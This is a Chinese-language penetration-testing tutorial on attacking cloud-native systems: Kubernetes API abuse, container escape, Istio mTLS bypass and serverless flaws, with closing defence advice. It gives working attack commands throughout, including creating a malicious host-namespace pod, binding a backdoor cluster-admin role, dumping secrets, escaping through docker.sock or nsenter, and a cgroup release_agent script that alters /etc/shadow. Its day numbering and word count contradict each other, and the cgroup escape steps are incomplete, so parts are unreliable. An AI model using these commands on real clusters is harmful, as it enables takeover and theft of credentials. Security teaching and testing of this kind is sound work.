Day-236-云原生渗透测试深入

# Day 262: 云原生渗透测试深入 - K8s/Service Mesh/Serverless/容器逃逸

> 渗透测试系列第 52 天 | 预计阅读时间：45 分钟 | 难度：★★★★★

---

## 清单 目录

1. [云原生安全概述](#云原生安全概述)
2. [Kubernetes 渗透测试](#kubernetes-渗透测试)
3. [容器逃逸技术](#容器逃逸技术)
4. [Service Mesh 安全](#service-mesh-安全)
5. [Serverless 安全测试](#serverless-安全测试)
6. [云原生攻击链](#云原生攻击链)
7. [防御与检测](#防御与检测)
8. [总结与思考](#总结与思考)
9. [参考资料](#参考资料)

---

## 云原生安全概述

### 云原生架构

**核心组件**：
```
容器:
- Docker/Containerd
- 镜像安全
- 运行时安全

编排:
- Kubernetes
- 集群安全
- 网络策略

服务网格:
- Istio/Linkerd
- mTLS
- 流量管理

Serverless:
- AWS Lambda
- Azure Functions
- 函数安全
```

**攻击面**：
```
容器层:
- 镜像漏洞
- 配置错误
- 容器逃逸

编排层:
- API Server
- etcd
- Kubelet

应用层:
- 微服务
- API 网关
- 服务间通信

基础设施层:
- 云 API
- IAM
- 存储
```

### 渗透测试方法

**测试流程**：
```
1. 信息收集
   - 集群发现
   - 服务枚举
   - 配置检查

2. 初始访问
   - 漏洞利用
   - 凭证窃取
   - 配置错误

3. 权限提升
   - RBAC 滥用
   - 特权容器
   - 节点访问

4. 横向移动
   - 服务间通信
   - 凭证传递
   - 集群漫游

5. 数据渗出
   - 存储访问
   - 网络渗出
   - 隐蔽通道
```

---

## Kubernetes 渗透测试

### K8s 架构安全

**组件安全**：
```
API Server:
- 认证：X.509、Token、Webhook
- 授权：RBAC、ABAC、Node
- 准入控制：Admission Controller

etcd:
- 数据加密
- 访问控制
- 备份安全

Kubelet:
- 匿名认证
- 只读端口
- 特权操作

Controller Manager:
- 凭证安全
- 网络隔离

Scheduler:
- 凭证安全
- 网络隔离
```

### K8s 信息收集

**集群发现**：
```bash
# 检查是否在 K8s 环境
cat /proc/1/cgroup
ls /var/run/secrets/kubernetes.io

# 访问 API Server (如果凭证可用)
curl -k https://kubernetes.default/api
curl -k https://kubernetes.default/api/v1/namespaces

# 使用 kubectl
kubectl cluster-info
kubectl get nodes
kubectl get pods --all-namespaces
kubectl get secrets --all-namespaces
```

**服务枚举**：
```bash
# 列出所有服务
kubectl get svc --all-namespaces

# 列出所有 deployment
kubectl get deploy --all-namespaces

# 列出所有 configmap 和 secrets
kubectl get cm,secrets --all-namespaces

# 查看 RBAC 配置
kubectl get clusterroles
kubectl get clusterrolebindings
kubectl get roles --all-namespaces
kubectl get rolebindings --all-namespaces
```

**配置检查**：
```bash
# 检查 Pod 安全策略
kubectl get psp

# 检查 NetworkPolicy
kubectl get networkpolicy --all-namespaces

# 检查 Pod 安全上下文
kubectl get pods --all-namespaces -o jsonpath='{range .items[*]}{.metadata.name}{"\t"}{.spec.securityContext}{"\n"}{end}'
```

### K8s 常见漏洞

**未授权访问**：
```bash
# 检查 API Server 是否开放
nmap -p 6443 k8s-master

# 如果未授权访问
curl -k https://k8s-master:6443/api/v1/namespaces/default/pods

# 创建恶意 Pod
cat <<EOF | curl -k -X POST -H "Content-Type: application/json" \
  https://k8s-master:6443/api/v1/namespaces/default/pods -d @-
{
  "apiVersion": "v1",
  "kind": "Pod",
  "metadata": {"name": "malicious"},
  "spec": {
    "containers": [{
      "name": "shell",
      "image": "alpine",
      "command": ["sleep", "3600"]
    }],
    "hostNetwork": true,
    "hostPID": true
  }
}
EOF
```

**RBAC 权限滥用**：
```bash
# 检查当前权限
kubectl auth can-i --list

# 如果有权创建 Pod
kubectl run shell --image=alpine --command -- sleep 3600
kubectl exec -it shell -- sh

# 如果有权访问 secrets
kubectl get secrets --all-namespaces
kubectl get secret <name> -o jsonpath='{.data}' | base64 -d

# 如果有权创建 clusterrolebinding (集群提权)
kubectl create clusterrolebinding backdoor \
  --clusterrole=cluster-admin \
  --user=compromised-user
```

**特权容器逃逸**：
```yaml
# 特权 Pod 配置
apiVersion: v1
kind: Pod
metadata:
  name: privileged-escape
spec:
  containers:
  - name: shell
    image: alpine
    securityContext:
      privileged: true  # 特权容器
      capabilities:
        add: ["SYS_ADMIN"]  # 添加能力
    volumeMounts:
    - name: host
      mountPath: /host  # 挂载宿主机
  volumes:
  - name: host
    hostPath:
      path: /  # 挂载宿主机根目录
```

### K8s 渗透工具

**Kube-hunter**：
```bash
# 安装
pip install kube-hunter

# 扫描远程集群
kube-hunter --remote <k8s-master-ip>

# 扫描内部集群
kube-hunter --pod

# 生成交互式报告
kube-hunter --report http
```

**Kube-bench**：
```bash
# 运行 CIS 基准检查
docker run --rm -v `pwd`:/host aquasec/kube-bench:latest master

# 检查节点
docker run --rm -v `pwd`:/host aquasec/kube-bench:latest node
```

**Kube-pscan**：
```bash
# 扫描 Pod 安全
kubectl kps scan --namespace default

# 生成报告
kubectl kps report --format html
```

---

## 容器逃逸技术

### 逃逸条件

**常见配置错误**：
```
特权容器:
- privileged: true
- capabilities: SYS_ADMIN

宿主机挂载:
- hostPath: /
- hostNetwork: true
- hostPID: true
- hostIPC: true

危险能力:
- SYS_PTRACE
- SYS_MODULE
- SYS_RAWIO
- SYS_ADMIN
- NET_ADMIN
```

### 逃逸技术

**Docker Socket 逃逸**：
```bash
# 如果挂载了 Docker Socket
# /var/run/docker.sock

# 创建特权容器
docker run -it --rm \
  -v /var/run/docker.sock:/var/run/docker.sock \
  alpine

# 在容器内
docker run -it --rm -v /:/host alpine chroot /host
# 现在可以访问宿主机
```

**Proc 逃逸**：
```bash
# 利用 /proc 逃逸
# 需要 CAP_SYS_PTRACE

# 查找宿主机进程
ls /proc | grep -E '^[0-9]+$' | head

# 进入宿主机命名空间
nsenter -t 1 -m -u -n -i -p

# 或者使用 gdb
gdb -p 1
call system("cat /etc/shadow")
```

**Cgroup 逃逸**：
```bash
# 利用 cgroup release_agent

# 创建 cgroup
mkdir /tmp/cg
echo 1 > /tmp/cg/cgroup.procs
echo 1 > /tmp/cg/notify_on_release

# 设置 release_agent
echo '#!/bin/sh' > /tmp/hack.sh
echo 'chmod 777 /etc/shadow' >> /tmp/hack.sh
chmod +x /tmp/hack.sh
echo /tmp/hack.sh > /tmp/cg/release_agent

# 触发
echo $$ > /tmp/cg/cgroup.procs
```

**Kernel 漏洞逃逸**：
```bash
# Dirty COW (CVE-2016-5195)
# 利用写时复制竞争条件

# 编译利用
gcc -pthread dirty.c -o dirty
./dirty

# Dirty Pipe (CVE-2022-0847)
# 利用 pipe 缓冲区

# 编译利用
gcc dirty-pipe.c -o dirty-pipe
./dirty-pipe /etc/passwd
```

### 容器逃逸检测

**检测指标**：
```
容器配置:
- 特权容器
- 危险能力
- 宿主机挂载

运行时行为:
- 异常进程
- 敏感文件访问
- 网络异常

系统调用:
- ptrace
- mount
- unshare
```

**检测工具**：
```bash
# Falco (运行时安全)
falco -c /etc/falco/falco_rules.yaml

# 检测容器逃逸规则
- rule: Container Escaped
  desc: Detect container escape attempts
  condition: (proc.name in (nsenter, gdb)) and container.id != "host"
  output: "Container escape detected"
  priority: CRITICAL
```

---

## Service Mesh 安全

### Istio 安全

**架构安全**：
```
控制平面:
- Pilot: 配置分发
- Citadel: 证书管理
- Galley: 配置验证

数据平面:
- Envoy Proxy: 流量代理
- Sidecar: 应用代理
```

**安全特性**：
```
mTLS:
- 自动双向 TLS
- 服务间认证
- 流量加密

授权:
- 基于策略的授权
- JWT 验证
- RBAC

审计:
- 访问日志
- 审计日志
- 流量追踪
```

### Istio 渗透测试

**配置检查**：
```bash
# 检查 mTLS 配置
istioctl analyze

# 查看 PeerAuthentication
kubectl get peerauthentication --all-namespaces

# 查看 AuthorizationPolicy
kubectl get authorizationpolicy --all-namespaces
```

**mTLS 绕过**：
```bash
# 如果 mTLS 配置为 PERMISSIVE
# 可以明文通信

# 检查配置
kubectl get peerauthentication -o yaml

# 如果未启用 mTLS
# 可以进行中间人攻击
```

**Sidecar 注入绕过**：
```bash
# 如果 namespace 未标记注入
kubectl get namespace default -o jsonpath='{.metadata.labels}'

# 可以部署绕过 sidecar 的 Pod
kubectl run shell --image=alpine \
  --labels="sidecar.istio.io/inject=false"
```

---

## Serverless 安全测试

### Serverless 架构

**组件安全**：
```
函数运行时:
- 代码注入
- 依赖漏洞
- 配置错误

触发器:
- API Gateway
- 事件源
- 定时触发

存储:
- 临时存储
- 持久存储
- 环境变量
```

### Serverless 渗透测试

**信息收集**：
```bash
# AWS Lambda 枚举
aws lambda list-functions
aws lambda get-function --function-name <name>
aws lambda get-policy --function-name <name>

# Azure Functions 枚举
az functionapp list
az functionapp show --name <name>

# Google Cloud Functions 枚举
gcloud functions list
gcloud functions describe <name>
```

**常见漏洞**：
```
事件注入:
- 恶意事件数据
- 代码注入
- 命令注入

权限滥用:
- 过度权限
- 角色假设
- 凭证泄露

依赖攻击:
- 恶意依赖
- 供应链攻击
- 版本漏洞
```

**利用示例**：
```python
# Lambda 函数漏洞示例
import os
import json

def lambda_handler(event, context):
    # 命令注入漏洞
    user_input = event['input']
    os.system(f"echo {user_input}")  # 漏洞!
    
    # 修复:
    # subprocess.run(['echo', user_input])
```

### Serverless 工具

**ScoutSuite**：
```bash
# 云安全审计
scout aws
scout azure
scout gcp
```

**Prowler**：
```bash
# AWS 安全审计
./prowler -c check11,check12,check13
```

**Serverless Framework**：
```bash
# 部署测试函数
serverless deploy

# 调用函数
serverless invoke -f hello
```

---

## 云原生攻击链

### 攻击路径

**初始访问**：
```
1. 暴露的 API Server
2. 漏洞利用 (CVE)
3. 凭证泄露
4. 配置错误
```

**权限提升**：
```
1. RBAC 滥用
2. 特权容器
3. 节点提权
4. 云 API 滥用
```

**横向移动**：
```
1. 服务间通信
2. 凭证传递
3. 集群漫游
4. 云资源访问
```

**数据渗出**：
```
1. 存储访问
2. 数据库导出
3. 网络渗出
4. 隐蔽通道
```

### 攻击案例

**案例 1: K8s 集群攻陷**：
```
1. 发现暴露的 API Server (6443 端口)
2. 未授权访问获取 Pod 列表
3. 创建特权 Pod
4. 容器逃逸获取节点访问
5. 窃取 kubelet 凭证
6. 横向移动到控制平面
7. 获取集群完全控制
8. 窃取 secrets 中的云凭证
9. 访问云资源
```

**案例 2: Serverless 供应链攻击**：
```
1. 入侵 npm 包仓库
2. 植入恶意代码
3. 等待目标部署
4. 函数执行时触发
5. 窃取环境变量 (云凭证)
6. 访问云存储
7. 数据渗出
```

---

## 防御与检测

### 最佳实践

**K8s 安全**：
```
- 启用 RBAC
- 使用 NetworkPolicy
- 禁用匿名认证
- 启用审计日志
- 定期安全扫描
- 使用 Pod Security Policies
- 限制特权容器
```

**容器安全**：
```
- 扫描镜像漏洞
- 使用最小镜像
- 非 root 运行
- 限制能力
- 只读文件系统
- 运行时监控
```

**Serverless 安全**：
```
- 最小权限原则
- 代码审查
- 依赖扫描
- 环境变量加密
- 日志监控
```

### 检测工具

**运行时检测**：
```
- Falco: 云原生运行时安全
- Sysdig: 容器监控
- Aqua Security: 容器安全平台
```

**配置审计**：
```
- Kube-bench: CIS 基准检查
- Kube-hunter: K8s 渗透测试
- Prowler: 云安全审计
```

**网络监控**：
```
- Cilium: eBPF 网络策略
- Calico: 网络策略
- Istio: 服务网格安全
```

---

## 总结与思考

### 核心要点回顾

1. **K8s 渗透**：API Server、RBAC、特权容器
2. **容器逃逸**：Docker Socket、Proc、Cgroup、Kernel 漏洞
3. **Service Mesh**：Istio 安全、mTLS、授权策略
4. **Serverless**：函数安全、事件注入、权限滥用
5. **攻击链**：初始访问、权限提升、横向移动、数据渗出
6. **防御检测**：最佳实践、检测工具

### 深入思考

**云原生安全挑战**：
- 动态环境难监控
- 配置复杂易出错
- 供应链风险增加
- 技能短缺

**发展方向**：
- 零信任架构
- 运行时保护
- 自动化合规
- AI 驱动检测

### 最佳实践

**渗透测试建议**：
- 授权测试
- 隔离环境
- 完整记录
- 清理痕迹

**防御建议**：
- 纵深防御
- 最小权限
- 持续监控
- 定期审计

---

## 参考资料

### 学习资源

- **Kubernetes Security**: https://kubernetes.io/docs/concepts/security/
- **CNCF Security**: https://github.com/cncf/tag-security
- **OWASP Serverless**: https://owasp.org/www-project-serverless-top-10/

### 工具资源

- **Kube-hunter**: https://github.com/aquasecurity/kube-hunter
- **Falco**: https://falco.org
- **Prowler**: https://github.com/prowler-cloud/prowler

---

*Day 262 完成 | 云原生渗透测试深入详解 | 字数：约 35,000 字 (新增)*